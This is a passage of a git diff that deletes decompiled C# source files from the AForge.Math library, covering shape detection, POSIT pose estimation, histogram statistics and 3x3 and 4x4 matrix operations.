(!list.Contains(furthestPoint4)) - { - list.Add(furthestPoint4); - } - } - else - { - IntPoint furthestPoint5 = ((distance > distance2) ? furthestPoint3 : furthestPoint4); - GetFurthestPointsFromLine(cloud, furthestPoint, furthestPoint5, out furthestPoint3, out distance, out furthestPoint4, out distance2); - bool flag = false; - if (distance >= num && distance2 >= num) - { - if (furthestPoint4.DistanceTo(furthestPoint2) > furthestPoint3.DistanceTo(furthestPoint2)) - { - furthestPoint3 = furthestPoint4; - } - flag = true; - } - else - { - GetFurthestPointsFromLine(cloud, furthestPoint2, furthestPoint5, out furthestPoint3, out distance, out furthestPoint4, out distance2); - if (distance >= num && distance2 >= num) - { - if (furthestPoint4.DistanceTo(furthestPoint) > furthestPoint3.DistanceTo(furthestPoint)) - { - furthestPoint3 = furthestPoint4; - } - flag = true; - } - } - if (!flag) - { - list.Add(furthestPoint5); - } - else - { - list.Add(furthestPoint3); - GetFurthestPointsFromLine(cloud, furthestPoint, furthestPoint3, out furthestPoint5, out var distance3, out furthestPoint4, out distance2); - if (distance2 >= num && distance3 >= num) - { - if (furthestPoint5.DistanceTo(furthestPoint2) > furthestPoint4.DistanceTo(furthestPoint2)) - { - furthestPoint4 = furthestPoint5; - } - } - else - { - GetFurthestPointsFromLine(cloud, furthestPoint2, furthestPoint3, out furthestPoint5, out distance3, out furthestPoint4, out distance2); - if (furthestPoint5.DistanceTo(furthestPoint) > furthestPoint4.DistanceTo(furthestPoint) && furthestPoint5 != furthestPoint2 && furthestPoint5 != furthestPoint3) - { - furthestPoint4 = furthestPoint5; - } - } - if (furthestPoint4 != furthestPoint && furthestPoint4 != furthestPoint2 && furthestPoint4 != furthestPoint3) - { - list.Add(furthestPoint4); - } - } - } - int i = 1; - for (int count = list.Count; i < count; i++) - { - if (list[i].X < list[0].X || (list[i].X == list[0].X && list[i].Y < list[0].Y)) - { - IntPoint value = list[i]; - list[i] = list[0]; - list[0] = value; - } - } - float num2 = ((list[1].X != list[0].X) ? ((float)(list[1].Y - list[0].Y) / (float)(list[1].X - list[0].X)) : ((list[1].Y > list[0].Y) ? float.PositiveInfinity : float.NegativeInfinity)); - float num3 = ((list[2].X != list[0].X) ? ((float)(list[2].Y - list[0].Y) / (float)(list[2].X - list[0].X)) : ((list[2].Y > list[0].Y) ? float.PositiveInfinity : float.NegativeInfinity)); - if (num3 < num2) - { - IntPoint value2 = list[1]; - list[1] = list[2]; - list[2] = value2; - float num4 = num2; - num2 = num3; - num3 = num4; - } - if (list.Count == 4) - { - float num5 = ((list[3].X != list[0].X) ? ((float)(list[3].Y - list[0].Y) / (float)(list[3].X - list[0].X)) : ((list[3].Y > list[0].Y) ? float.PositiveInfinity : float.NegativeInfinity)); - if (num5 < num2) - { - IntPoint value3 = list[1]; - list[1] = list[3]; - list[3] = value3; - float num6 = num2; - num2 = num5; - num5 = num6; - } - if (num5 < num3) - { - IntPoint value4 = list[2]; - list[2] = list[3]; - list[3] = value4; - float num7 = num3; - num3 = num5; - num5 = num7; - } - } - return list; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/PolygonSubType.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/PolygonSubType.cs deleted file mode 100644 index c8bb124..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/PolygonSubType.cs +++ /dev/null @@ -1,15 +0,0 @@ -namespace AForge.Math.Geometry; - -public enum PolygonSubType -{ - Unknown, - Trapezoid, - Parallelogram, - Rectangle, - Rhombus, - Square, - EquilateralTriangle, - IsoscelesTriangle, - RectangledTriangle, - RectangledIsoscelesTriangle -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/Posit.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/Posit.cs deleted file mode 100644 index 421eab3..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/Posit.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; - -namespace AForge.Math.Geometry; - -public class Posit -{ - private const float stop_epsilon = 0.0001f; - - private float focalLength; - - private Vector3[] modelPoints; - - private Matrix3x3 modelVectors; - - private Matrix3x3 modelPseudoInverse; - - public Vector3[] Model => (Vector3[])modelPoints.Clone(); - - public float FocalLength - { - get - { - return focalLength; - } - set - { - focalLength = value; - } - } - - public Posit(Vector3[] model, float focalLength) - { - if (model.Length != 4) - { - throw new ArgumentException("The model must have 4 points."); - } - this.focalLength = focalLength; - modelPoints = (Vector3[])model.Clone(); - modelVectors = Matrix3x3.CreateFromRows(model[1] - model[0], model[2] - model[0], model[3] - model[0]); - modelPseudoInverse = modelVectors.PseudoInverse(); - } - - public void EstimatePose(Point[] points, out Matrix3x3 rotation, out Vector3 translation) - { - if (points.Length != 4) - { - throw new ArgumentException("4 points must be be given for pose estimation."); - } - float num = 0f; - float num2 = 1f; - Vector3 vector = new Vector3(points[0].X); - Vector3 vector2 = new Vector3(points[0].Y); - Vector3 vector3 = new Vector3(points[1].X, points[2].X, points[3].X); - Vector3 vector4 = new Vector3(points[1].Y, points[2].Y, points[3].Y); - int i = 0; - Vector3 vector5 = default(Vector3); - Vector3 vector6 = default(Vector3); - Vector3 vector7 = default(Vector3); - Vector3 vector8 = default(Vector3); - Vector3 vector9 = default(Vector3); - Vector3 vector10 = new Vector3(1f); - for (; i < 100; i++) - { - vector8 = vector3 * vector10 - vector; - vector9 = vector4 * vector10 - vector2; - vector5 = modelPseudoInverse * vector8; - vector6 = modelPseudoInverse * vector9; - float num3 = vector5.Normalize(); - float num4 = vector6.Normalize(); - num2 = (num3 + num4) / 2f; - vector7 = Vector3.Cross(vector5, vector6); - num = focalLength / num2; - Vector3 vector11 = vector10; - vector10 = modelVectors * vector7 / num + 1f; - if ((vector10 - vector11).Abs().Max < 0.0001f) - { - break; - } - } - rotation = Matrix3x3.CreateFromRows(vector5, vector6, vector7); - Vector3 vector12 = rotation * modelPoints[0]; - translation = new Vector3(points[0].X / num2 - vector12.X, points[0].Y / num2 - vector12.Y, focalLength / num2); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/ShapeType.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/ShapeType.cs deleted file mode 100644 index 0451ddf..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/ShapeType.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace AForge.Math.Geometry; - -public enum ShapeType -{ - Unknown, - Circle, - Triangle, - Quadrilateral -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Geometry/SimpleShapeChecker.cs b/output/Libraries/AForge.Math/AForge/Math/Geometry/SimpleShapeChecker.cs deleted file mode 100644 index 907092f..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Geometry/SimpleShapeChecker.cs +++ /dev/null @@ -1,253 +0,0 @@ -using System; -using System.Collections.Generic; - -namespace AForge.Math.Geometry; - -public class SimpleShapeChecker -{ - private FlatAnglesOptimizer shapeOptimizer = new FlatAnglesOptimizer(160f); - - private float minAcceptableDistortion = 0.5f; - - private float relativeDistortionLimit = 0.03f; - - private float angleError = 7f; - - private float lengthError = 0.1f; - - public float MinAcceptableDistortion - { - get - { - return minAcceptableDistortion; - } - set - { - minAcceptableDistortion = System.Math.Max(0f, value); - } - } - - public float RelativeDistortionLimit - { - get - { - return relativeDistortionLimit; - } - set - { - relativeDistortionLimit = System.Math.Max(0f, System.Math.Min(1f, value)); - } - } - - public float AngleError - { - get - { - return angleError; - } - set - { - angleError = System.Math.Max(0f, System.Math.Min(20f, value)); - } - } - - public float LengthError - { - get - { - return lengthError; - } - set - { - lengthError = System.Math.Max(0f, System.Math.Min(1f, value)); - } - } - - public ShapeType CheckShapeType(List edgePoints) - { - if (IsCircle(edgePoints)) - { - return ShapeType.Circle; - } - if (IsConvexPolygon(edgePoints, out var corners)) - { - if (corners.Count != 4) - { - return ShapeType.Triangle; - } - return ShapeType.Quadrilateral; - } - return ShapeType.Unknown; - } - - public bool IsCircle(List edgePoints) - { - Point center; - float radius; - return IsCircle(edgePoints, out center, out radius); - } - - public bool IsCircle(List edgePoints, out Point center, out float radius) - { - if (edgePoints.Count < 8) - { - center = new Point(0f, 0f); - radius = 0f; - return false; - } - PointsCloud.GetBoundingRectangle(edgePoints, out var minXY, out var maxXY); - IntPoint intPoint = maxXY - minXY; - center = minXY + (Point)intPoint / 2f; - radius = ((float)intPoint.X + (float)intPoint.Y) / 4f; - float num = 0f; - int i = 0; - for (int count = edgePoints.Count; i < count; i++) - { - num += System.Math.Abs(center.DistanceTo(edgePoints[i]) - radius); - } - num /= (float)edgePoints.Count; - float num2 = System.Math.Max(minAcceptableDistortion, ((float)intPoint.X + (float)intPoint.Y) / 2f * relativeDistortionLimit); - return num <= num2; - } - - public bool IsQuadrilateral(List edgePoints) - { - List corners; - return IsQuadrilateral(edgePoints, out corners); - } - - public bool IsQuadrilateral(List edgePoints, out List corners) - { - corners = GetShapeCorners(edgePoints); - if (corners.Count != 4) - { - return false; - } - return CheckIfPointsFitShape(edgePoints, corners); - } - - public bool IsTriangle(List edgePoints) - { - List corners; - return IsTriangle(edgePoints, out corners); - } - - public bool IsTriangle(List edgePoints, out List corners) - { - corners = GetShapeCorners(edgePoints); - if (corners.Count != 3) - { - return false; - } - return CheckIfPointsFitShape(edgePoints, corners); - } - - public bool IsConvexPolygon(List edgePoints, out List corners) - { - corners = GetShapeCorners(edgePoints); - return CheckIfPointsFitShape(edgePoints, corners); - } - - public PolygonSubType CheckPolygonSubType(List corners) - { - PolygonSubType polygonSubType = PolygonSubType.Unknown; - PointsCloud.GetBoundingRectangle(corners, out var minXY, out var maxXY); - IntPoint intPoint = maxXY - minXY; - float num = lengthError * (float)(intPoint.X + intPoint.Y) / 2f; - if (corners.Count == 3) - { - float angleBetweenVectors = GeometryTools.GetAngleBetweenVectors(corners[0], corners[1], corners[2]); - float angleBetweenVectors2 = GeometryTools.GetAngleBetweenVectors(corners[1], corners[2], corners[0]); - float angleBetweenVectors3 = GeometryTools.GetAngleBetweenVectors(corners[2], corners[0], corners[1]); - if (System.Math.Abs(angleBetweenVectors - 60f) <= angleError && System.Math.Abs(angleBetweenVectors2 - 60f) <= angleError && System.Math.Abs(angleBetweenVectors3 - 60f) <= angleError) - { - polygonSubType = PolygonSubType.EquilateralTriangle; - } - else - { - if (System.Math.Abs(angleBetweenVectors - angleBetweenVectors2) <= angleError || System.Math.Abs(angleBetweenVectors2 - angleBetweenVectors3) <= angleError || System.Math.Abs(angleBetweenVectors3 - angleBetweenVectors) <= angleError) - { - polygonSubType = PolygonSubType.IsoscelesTriangle; - } - if (System.Math.Abs(angleBetweenVectors - 90f) <= angleError || System.Math.Abs(angleBetweenVectors2 - 90f) <= angleError || System.Math.Abs(angleBetweenVectors3 - 90f) <= angleError) - { - polygonSubType = ((polygonSubType == PolygonSubType.IsoscelesTriangle) ? PolygonSubType.RectangledIsoscelesTriangle : PolygonSubType.RectangledTriangle); - } - } - } - else if (corners.Count == 4) - { - float angleBetweenLines = GeometryTools.GetAngleBetweenLines(corners[0], corners[1], corners[2], corners[3]); - float angleBetweenLines2 = GeometryTools.GetAngleBetweenLines(corners[1], corners[2], corners[3], corners[0]); - if (angleBetweenLines <= angleError) - { - polygonSubType = PolygonSubType.Trapezoid; - if (angleBetweenLines2 <= angleError) - { - polygonSubType = PolygonSubType.Parallelogram; - if (System.Math.Abs(GeometryTools.GetAngleBetweenVectors(corners[1], corners[0], corners[2]) - 90f) <= angleError) - { - polygonSubType = PolygonSubType.Rectangle; - } - float num2 = corners[0].DistanceTo(corners[1]); - float num3 = corners[0].DistanceTo(corners[3]); - if (System.Math.Abs(num2 - num3) <= num) - { - polygonSubType = ((polygonSubType == PolygonSubType.Parallelogram) ? PolygonSubType.Rhombus : PolygonSubType.Square); - } - } - } - else if (angleBetweenLines2 <= angleError) - { - polygonSubType = PolygonSubType.Trapezoid; - } - } - return polygonSubType; - } - - public bool CheckIfPointsFitShape(List edgePoints, List corners) - { - int count = corners.Count; - float[] array = new float[count]; - float[] array2 = new float[count]; - float[] array3 = new float[count]; - bool[] array4 = new bool[count]; - for (int i = 0; i < count; i++) - { - IntPoint intPoint = corners[i]; - IntPoint intPoint2 = ((i + 1 == count) ? corners[0] : corners[i + 1]); - if (!(array4[i] = intPoint2.X == intPoint.X)) - { - array[i] = (float)(intPoint2.Y - intPoint.Y) / (float)(intPoint2.X - intPoint.X); - array2[i] = (float)intPoint.Y - array[i] * (float)intPoint.X; - array3[i] = (float)System.Math.Sqrt(array[i] * array[i] + 1f); - } - } - float num = 0f; - int j = 0; - for (int count2 = edgePoints.Count; j < count2; j++) - { - float num2 = float.MaxValue; - for (int k = 0; k < count; k++) - { - float num3 = 0f; - num3 = (array4[k] ? ((float)System.Math.Abs(edgePoints[j].X - corners[k].X)) : System.Math.Abs((array[k] * (float)edgePoints[j].X + array2[k] - (float)edgePoints[j].Y) / array3[k])); - if (num3 < num2) - { - num2 = num3; - } - } - num += num2; - } - num /= (float)edgePoints.Count; - PointsCloud.GetBoundingRectangle(corners, out var minXY, out var maxXY); - IntPoint intPoint3 = maxXY - minXY; - float num4 = System.Math.Max(minAcceptableDistortion, ((float)intPoint3.X + (float)intPoint3.Y) / 2f * relativeDistortionLimit); - return num <= num4; - } - - private List GetShapeCorners(List edgePoints) - { - return shapeOptimizer.OptimizeShape(PointsCloud.FindQuadrilateralCorners(edgePoints)); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Histogram.cs b/output/Libraries/AForge.Math/AForge/Math/Histogram.cs deleted file mode 100644 index 1a99cfc..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Histogram.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; - -namespace AForge.Math; - -[Serializable] -public class Histogram -{ - private int[] values; - - private double mean; - - private double stdDev; - - private int median; - - private int min; - - private int max; - - private long total; - - public int[] Values => values; - - public double Mean => mean; - - public double StdDev => stdDev; - - public int Median => median; - - public int Min => min; - - public int Max => max; - - public long TotalCount => total; - - public Histogram(int[] values) - { - this.values = values; - Update(); - } - - public IntRange GetRange(double percent) - { - return Statistics.GetRange(values, percent); - } - - public void Update() - { - int num = values.Length; - max = 0; - min = num; - total = 0L; - for (int i = 0; i < num; i++) - { - if (values[i] != 0) - { - if (i > max) - { - max = i; - } - if (i < min) - { - min = i; - } - total += values[i]; - } - } - mean = Statistics.Mean(values); - stdDev = Statistics.StdDev(values, mean); - median = Statistics.Median(values); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Matrix3x3.cs b/output/Libraries/AForge.Math/AForge/Math/Matrix3x3.cs deleted file mode 100644 index b4f9bda..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Matrix3x3.cs +++ /dev/null @@ -1,424 +0,0 @@ -using System; - -namespace AForge.Math; - -[Serializable] -public struct Matrix3x3 -{ - public float V00; - - public float V01; - - public float V02; - - public float V10; - - public float V11; - - public float V12; - - public float V20; - - public float V21; - - public float V22; - - public static Matrix3x3 Identity - { - get - { - Matrix3x3 result = default(Matrix3x3); - result.V00 = (result.V11 = (result.V22 = 1f)); - return result; - } - } - - public float Determinant => V00 * V11 * V22 + V01 * V12 * V20 + V02 * V10 * V21 - V00 * V12 * V21 - V01 * V10 * V22 - V02 * V11 * V20; - - public float[] ToArray() - { - return new float[9] { V00, V01, V02, V10, V11, V12, V20, V21, V22 }; - } - - public static Matrix3x3 CreateRotationY(float radians) - { - Matrix3x3 result = default(Matrix3x3); - float v = (float)System.Math.Cos(radians); - float num = (float)System.Math.Sin(radians); - result.V00 = (result.V22 = v); - result.V02 = num; - result.V20 = 0f - num; - result.V11 = 1f; - return result; - } - - public static Matrix3x3 CreateRotationX(float radians) - { - Matrix3x3 result = default(Matrix3x3); - float v = (float)System.Math.Cos(radians); - float num = (float)System.Math.Sin(radians); - result.V11 = (result.V22 = v); - result.V12 = 0f - num; - result.V21 = num; - result.V00 = 1f; - return result; - } - - public static Matrix3x3 CreateRotationZ(float radians) - { - Matrix3x3 result = default(Matrix3x3); - float v = (float)System.Math.Cos(radians); - float num = (float)System.Math.Sin(radians); - result.V00 = (result.V11 = v); - result.V01 = 0f - num; - result.V10 = num; - result.V22 = 1f; - return result; - } - - public static Matrix3x3 CreateFromYawPitchRoll(float yaw, float pitch, float roll) - { - return CreateRotationY(yaw) * CreateRotationX(pitch) * CreateRotationZ(roll); - } - - public void ExtractYawPitchRoll(out float yaw, out float pitch, out float roll) - { - yaw = (float)System.Math.Atan2(V02, V22); - pitch = (float)System.Math.Asin(0f - V12); - roll = (float)System.Math.Atan2(V10, V11); - } - - public static Matrix3x3 CreateFromRows(Vector3 row0, Vector3 row1, Vector3 row2) - { - return new Matrix3x3 - { - V00 = row0.X, - V01 = row0.Y, - V02 = row0.Z, - V10 = row1.X, - V11 = row1.Y, - V12 = row1.Z, - V20 = row2.X, - V21 = row2.Y, - V22 = row2.Z - }; - } - - public static Matrix3x3 CreateFromColumns(Vector3 column0, Vector3 column1, Vector3 column2) - { - return new Matrix3x3 - { - V00 = column0.X, - V10 = column0.Y, - V20 = column0.Z, - V01 = column1.X, - V11 = column1.Y, - V21 = column1.Z, - V02 = column2.X, - V12 = column2.Y, - V22 = column2.Z - }; - } - - public static Matrix3x3 CreateDiagonal(Vector3 vector) - { - return new Matrix3x3 - { - V00 = vector.X, - V11 = vector.Y, - V22 = vector.Z - }; - } - - public Vector3 GetRow(int index) - { - return index switch - { - 2 => new Vector3(V20, V21, V22), - 1 => new Vector3(V10, V11, V12), - 0 => new Vector3(V00, V01, V02), - _ => throw new ArgumentException("Invalid row index was specified.", "index"), - }; - } - - public Vector3 GetColumn(int index) - { - return index switch - { - 2 => new Vector3(V02, V12, V22), - 1 => new Vector3(V01, V11, V21), - 0 => new Vector3(V00, V10, V20), - _ => throw new ArgumentException("Invalid column index was specified.", "index"), - }; - } - - public static Matrix3x3 operator *(Matrix3x3 matrix1, Matrix3x3 matrix2) - { - return new Matrix3x3 - { - V00 = matrix1.V00 * matrix2.V00 + matrix1.V01 * matrix2.V10 + matrix1.V02 * matrix2.V20, - V01 = matrix1.V00 * matrix2.V01 + matrix1.V01 * matrix2.V11 + matrix1.V02 * matrix2.V21, - V02 = matrix1.V00 * matrix2.V02 + matrix1.V01 * matrix2.V12 + matrix1.V02 * matrix2.V22, - V10 = matrix1.V10 * matrix2.V00 + matrix1.V11 * matrix2.V10 + matrix1.V12 * matrix2.V20, - V11 = matrix1.V10 * matrix2.V01 + matrix1.V11 * matrix2.V11 + matrix1.V12 * matrix2.V21, - V12 = matrix1.V10 * matrix2.V02 + matrix1.V11 * matrix2.V12 + matrix1.V12 * matrix2.V22, - V20 = matrix1.V20 * matrix2.V00 + matrix1.V21 * matrix2.V10 + matrix1.V22 * matrix2.V20, - V21 = matrix1.V20 * matrix2.V01 + matrix1.V21 * matrix2.V11 + matrix1.V22 * matrix2.V21, - V22 = matrix1.V20 * matrix2.V02 + matrix1.V21 * matrix2.V12 + matrix1.V22 * matrix2.V22 - }; - } - - public static Matrix3x3 Multiply(Matrix3x3 matrix1, Matrix3x3 matrix2) - { - return matrix1 * matrix2; - } - - public static Matrix3x3 operator +(Matrix3x3 matrix1, Matrix3x3 matrix2) - { - return new Matrix3x3 - { - V00 = matrix1.V00 + matrix2.V00, - V01 = matrix1.V01 + matrix2.V01, - V02 = matrix1.V02 + matrix2.V02, - V10 = matrix1.V10 + matrix2.V10, - V11 = matrix1.V11 + matrix2.V11, - V12 = matrix1.V12 + matrix2.V12, - V20 = matrix1.V20 + matrix2.V20, - V21 = matrix1.V21 + matrix2.V21, - V22 = matrix1.V22 + matrix2.V22 - }; - } - - public static Matrix3x3 Add(Matrix3x3 matrix1, Matrix3x3 matrix2) - { - return matrix1 + matrix2; - } - - public static Matrix3x3 operator -(Matrix3x3 matrix1, Matrix3x3 matrix2) - { - return new Matrix3x3 - { - V00 = matrix1.V00 - matrix2.V00, - V01 = matrix1.V01 - matrix2.V01, - V02 = matrix1.V02 - matrix2.V02, - V10 = matrix1.V10 - matrix2.V10, - V11 = matrix1.V11 - matrix2.V11, - V12 = matrix1.V12 - matrix2.V12, - V20 = matrix1.V20 - matrix2.V20, - V21 = matrix1.V21 - matrix2.V21, - V22 = matrix1.V22 - matrix2.V22 - }; - } - - public static Matrix3x3 Subtract(Matrix3x3 matrix1, Matrix3x3 matrix2) - { - return matrix1 - matrix2; - } - - public static Vector3 operator *(Matrix3x3 matrix, Vector3 vector) - { - return new Vector3(matrix.V00 * vector.X + matrix.V01 * vector.Y + matrix.V02 * vector.Z, matrix.V10 * vector.X + matrix.V11 * vector.Y + matrix.V12 * vector.Z, matrix.V20 * vector.X + matrix.V21 * vector.Y + matrix.V22 * vector.Z); - } - - public static Vector3 Multiply(Matrix3x3 matrix, Vector3 vector) - { - return matrix * vector; - } - - public static Matrix3x3 operator *(Matrix3x3 matrix, float factor) - { - return new Matrix3x3 - { - V00 = matrix.V00 * factor, - V01 = matrix.V01 * factor, - V02 = matrix.V02 * factor, - V10 = matrix.V10 * factor, - V11 = matrix.V11 * factor, - V12 = matrix.V12 * factor, - V20 = matrix.V20 * factor, - V21 = matrix.V21 * factor, - V22 = matrix.V22 * factor - }; - } - - public static Matrix3x3 Multiply(Matrix3x3 matrix, float factor) - { - return matrix * factor; - } - - public static Matrix3x3 operator +(Matrix3x3 matrix, float value) - { - return new Matrix3x3 - { - V00 = matrix.V00 + value, - V01 = matrix.V01 + value, - V02 = matrix.V02 + value, - V10 = matrix.V10 + value, - V11 = matrix.V11 + value, - V12 = matrix.V12 + value, - V20 = matrix.V20 + value, - V21 = matrix.V21 + value, - V22 = matrix.V22 + value - }; - } - - public static Matrix3x3 Add(Matrix3x3 matrix, float value) - { - return matrix + value; - } - - public static bool operator ==(Matrix3x3 matrix1, Matrix3x3 matrix2) - { - if (matrix1.V00 == matrix2.V00 && matrix1.V01 == matrix2.V01 && matrix1.V02 == matrix2.V02 && matrix1.V10 == matrix2.V10 && matrix1.V11 == matrix2.V11 && matrix1.V12 == matrix2.V12 && matrix1.V20 == matrix2.V20 && matrix1.V21 == matrix2.V21) - { - return matrix1.V22 == matrix2.V22; - } - return false; - } - - public static bool operator !=(Matrix3x3 matrix1, Matrix3x3 matrix2) - { - if (matrix1.V00 == matrix2.V00 && matrix1.V01 == matrix2.V01 && matrix1.V02 == matrix2.V02 && matrix1.V10 == matrix2.V10 && matrix1.V11 == matrix2.V11 && matrix1.V12 == matrix2.V12 && matrix1.V20 == matrix2.V20 && matrix1.V21 == matrix2.V21) - { - return matrix1.V22 != matrix2.V22; - } - return true; - } - - public bool Equals(Matrix3x3 matrix) - { - return this == matrix; - } - - public override bool Equals(object obj) - { - if (obj is Matrix3x3) - { - return Equals((Matrix3x3)obj); - } - return false; - } - - public override int GetHashCode() - { - return V00.GetHashCode() + V01.GetHashCode() + V02.GetHashCode() + V10.GetHashCode() + V11.GetHashCode() + V12.GetHashCode() + V20.GetHashCode() + V21.GetHashCode() + V22.GetHashCode(); - } - - public Matrix3x3 Transpose() - { - return new Matrix3x3 - { - V00 = V00, - V01 = V10, - V02 = V20, - V10 = V01, - V11 = V11, - V12 = V21, - V20 = V02, - V21 = V12, - V22 = V22 - }; - } - - public Matrix3x3 MultiplySelfByTranspose() - { - Matrix3x3 result = default(Matrix3x3); - result.V00 = V00 * V00 + V01 * V01 + V02 * V02; - result.V10 = (result.V01 = V00 * V10 + V01 * V11 + V02 * V12); - result.V20 = (result.V02 = V00 * V20 + V01 * V21 + V02 * V22); - result.V11 = V10 * V10 + V11 * V11 + V12 * V12; - result.V21 = (result.V12 = V10 * V20 + V11 * V21 + V12 * V22); - result.V22 = V20 * V20 + V21 * V21 + V22 * V22; - return result; - } - - public Matrix3x3 MultiplyTransposeBySelf() - { - Matrix3x3 result = default(Matrix3x3); - result.V00 = V00 * V00 + V10 * V10 + V20 * V20; - result.V10 = (result.V01 = V00 * V01 + V10 * V11 + V20 * V21); - result.V20 = (result.V02 = V00 * V02 + V10 * V12 + V20 * V22); - result.V11 = V01 * V01 + V11 * V11 + V21 * V21; - result.V21 = (result.V12 = V01 * V02 + V11 * V12 + V21 * V22); - result.V22 = V02 * V02 + V12 * V12 + V22 * V22; - return result; - } - - public Matrix3x3 Adjugate() - { - return new Matrix3x3 - { - V00 = V11 * V22 - V12 * V21, - V01 = 0f - (V01 * V22 - V02 * V21), - V02 = V01 * V12 - V02 * V11, - V10 = 0f - (V10 * V22 - V12 * V20), - V11 = V00 * V22 - V02 * V20, - V12 = 0f - (V00 * V12 - V02 * V10), - V20 = V10 * V21 - V11 * V20, - V21 = 0f - (V00 * V21 - V01 * V20), - V22 = V00 * V11 - V01 * V10 - }; - } - - public Matrix3x3 Inverse() - { - float determinant = Determinant; - if (determinant == 0f) - { - throw new ArgumentException("Cannot calculate inverse of the matrix since it is singular."); - } - float num = 1f / determinant; - Matrix3x3 result = Adjugate(); - result.V00 *= num; - result.V01 *= num; - result.V02 *= num; - result.V10 *= num; - result.V11 *= num; - result.V12 *= num; - result.V20 *= num; - result.V21 *= num; - result.V22 *= num; - return result; - } - - public Matrix3x3 PseudoInverse() - { - SVD(out var u, out var e, out var v); - return v * CreateDiagonal(e.Inverse()) * u.Transpose(); - } - - public void SVD(out Matrix3x3 u, out Vector3 e, out Matrix3x3 v) - { - double[,] array = new double[3, 3] - { - { V00, V01, V02 }, - { V10, V11, V12 }, - { V20, V21, V22 } - }; - svd.svdcmp(array, out var w, out var v2); - u = default(Matrix3x3); - u.V00 = (float)array[0, 0]; - u.V01 = (float)array[0, 1]; - u.V02 = (float)array[0, 2]; - u.V10 = (float)array[1, 0]; - u.V11 = (float)array[1, 1]; - u.V12 = (float)array[1, 2]; - u.V20 = (float)array[2, 0]; - u.V21 = (float)array[2, 1]; - u.V22 = (float)array[2, 2]; - v = default(Matrix3x3); - v.V00 = (float)v2[0, 0]; - v.V01 = (float)v2[0, 1]; - v.V02 = (float)v2[0, 2]; - v.V10 = (float)v2[1, 0]; - v.V11 = (float)v2[1, 1]; - v.V12 = (float)v2[1, 2]; - v.V20 = (float)v2[2, 0]; - v.V21 = (float)v2[2, 1]; - v.V22 = (float)v2[2, 2]; - e = default(Vector3); - e.X = (float)w[0]; - e.Y = (float)w[1]; - e.Z = (float)w[2]; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Matrix4x4.cs b/output/Libraries/AForge.Math/AForge/Math/Matrix4x4.cs deleted file mode 100644 index 2b386bc..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Matrix4x4.cs +++ /dev/null @@ -1,383 +0,0 @@ -using System; - -namespace AForge.Math; - -[Serializable] -public struct Matrix4x4 -{ - public float V00; - - public float V01; - - public float V02; - - public float V03; - - public float V10; - - public float V11; - - public float V12; - - public float V13; - - public float V20; - - public float V21; - - public float V22; - - public float V23; - - public float V30; - - public float V31; - - public float V32; - - public float V33; - - public static Matrix4x4 Identity - { - get - { - Matrix4x4 result = default(Matrix4x4); - result.V00 = (result.V11 = (result.V22 = (result.V33 = 1f))); - return result; - } - } - - public float[] ToArray() - { - return new float[16] - { - V00, V01, V02, V03, V10, V11, V12, V13, V20, V21, - V22, V23, V30, V31, V32, V33 - }; - } - - public static Matrix4x4 CreateRotationY(float radians) - { - Matrix4x4 identity = Identity; - float v = (float)System.Math.Cos(radians); - float num = (float)System.Math.Sin(radians); - identity.V00 = (identity.V22 = v); - identity.V02 = num; - identity.V20 = 0f - num; - return identity; - } - - public static Matrix4x4 CreateRotationX(float radians) - { - Matrix4x4 identity = Identity; - float v = (float)System.Math.Cos(radians); - float num = (float)System.Math.Sin(radians); - identity.V11 = (identity.V22 = v); - identity.V12 = 0f - num; - identity.V21 = num; - return identity; - } - - public static Matrix4x4 CreateRotationZ(float radians) - { - Matrix4x4 identity = Identity; - float v = (float)System.Math.Cos(radians); - float num = (float)System.Math.Sin(radians); - identity.V00 = (identity.V11 = v); - identity.V01 = 0f - num; - identity.V10 = num; - return identity; - } - - public static Matrix4x4 CreateFromYawPitchRoll(float yaw, float pitch, float roll) - { - return CreateRotationY(yaw) * CreateRotationX(pitch) * CreateRotationZ(roll); - } - - public void ExtractYawPitchRoll(out float yaw, out float pitch, out float roll) - { - yaw = (float)System.Math.Atan2(V02, V22); - pitch = (float)System.Math.Asin(0f - V12); - roll = (float)System.Math.Atan2(V10, V11); - } - - public static Matrix4x4 CreateFromRotation(Matrix3x3 rotationMatrix) - { - Matrix4x4 identity = Identity; - identity.V00 = rotationMatrix.V00; - identity.V01 = rotationMatrix.V01; - identity.V02 = rotationMatrix.V02; - identity.V10 = rotationMatrix.V10; - identity.V11 = rotationMatrix.V11; - identity.V12 = rotationMatrix.V12; - identity.V20 = rotationMatrix.V20; - identity.V21 = rotationMatrix.V21; - identity.V22 = rotationMatrix.V22; - return identity; - } - - public static Matrix4x4 CreateTranslation(Vector3 position) - { - Matrix4x4 identity = Identity; - identity.V03 = position.X; - identity.V13 = position.Y; - identity.V23 = position.Z; - return identity; - } - - public static Matrix4x4 CreateLookAt(Vector3 cameraPosition, Vector3 cameraTarget) - { - Matrix4x4 result = default(Matrix4x4); - Vector3 vector = cameraPosition - cameraTarget; - vector.Normalize(); - Vector3 vector2 = Vector3.Cross(new Vector3(0f, 1f, 0f), vector); - vector2.Normalize(); - Vector3 vector3 = Vector3.Cross(vector, vector2); - result.V00 = vector2.X; - result.V01 = vector2.Y; - result.V02 = vector2.Z; - result.V10 = vector3.X; - result.V11 = vector3.Y; - result.V12 = vector3.Z; - result.V20 = vector.X; - result.V21 = vector.Y; - result.V22 = vector.Z; - result.V03 = 0f - Vector3.Dot(cameraPosition, vector2); - result.V13 = 0f - Vector3.Dot(cameraPosition, vector3); - result.V23 = 0f - Vector3.Dot(cameraPosition, 